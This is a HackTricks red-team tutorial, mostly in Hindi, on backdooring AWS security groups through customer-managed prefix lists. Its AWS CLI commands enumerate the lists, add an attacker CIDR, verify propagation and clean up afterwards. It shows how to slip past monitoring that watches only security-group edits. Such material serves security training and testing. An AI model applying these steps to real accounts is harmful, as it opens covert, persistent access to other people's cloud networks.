AWS - Security Group Backdoor via Managed Prefix Lists

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

customer-managed Prefix Lists का दुरुपयोग करके एक stealthy एक्सेस पाथ बनाया जा सकता है। यदि किसी Security Group (SG) नियम में managed Prefix List का reference है, तो उस list को modify करने की ability रखने वाला कोई भी व्यक्ति चुपचाप attacker-controlled CIDRs जोड़ सकता है। हर वह SG (और संभावित रूप से Network ACL या VPC endpoint) जो उस list को reference करता है, बिना किसी दिखाई देने वाले SG परिवर्तन के तुरंत नए रेंजेस को allow कर देता है।

प्रभाव

  • जिन भी SGs में prefix list का reference है उनके लिए allowed IP ranges का तुरंत विस्तार, जिससे वे change controls को bypass कर जाते हैं जो केवल SG edits को monitor करते हैं।
  • persistent ingress/egress backdoors सक्षम होते हैं: malicious CIDR को prefix list में छुपाकर रखा जा सकता है जबकि SG rule अपरिवर्तित दिखता है।

आवश्यकताएँ

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (to identify attached SGs)
  • Optional: ec2:CreateManagedPrefixList if creating a new one for testing.
  • Environment: कम से कम एक SG rule जो target customer-managed Prefix List को reference करता हो।

वेरियेबल्स

bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

हमले के चरण

  1. उम्मीदवार prefix lists और consumers की सूची बनाएं
bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

यह पुष्टि करने के लिए aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID का उपयोग करें कि कौन से SG rules prefix list पर निर्भर हैं।

  1. attacker CIDR को prefix list में जोड़ें
bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. security groups पर प्रसारण को सत्यापित करें
bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

$ENTRY_CIDR से आने वाला ट्रैफिक अब जहाँ भी prefix list संदर्भित है वहाँ अनुमति प्राप्त है (आम तौर पर egress proxies पर outbound नियम या shared services पर inbound नियम)।

प्रमाण

  • get-managed-prefix-list-entries में attacker CIDR और विवरण दिखाई देता है।
  • describe-security-group-rules अभी भी मूल SG rule दिखाता है जो prefix list को संदर्भित करता है (कोई SG परिवर्तन रिकॉर्ड नहीं हुआ), फिर भी नए CIDR से ट्रैफिक सफल होता है।

साफ़-सफाई

bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें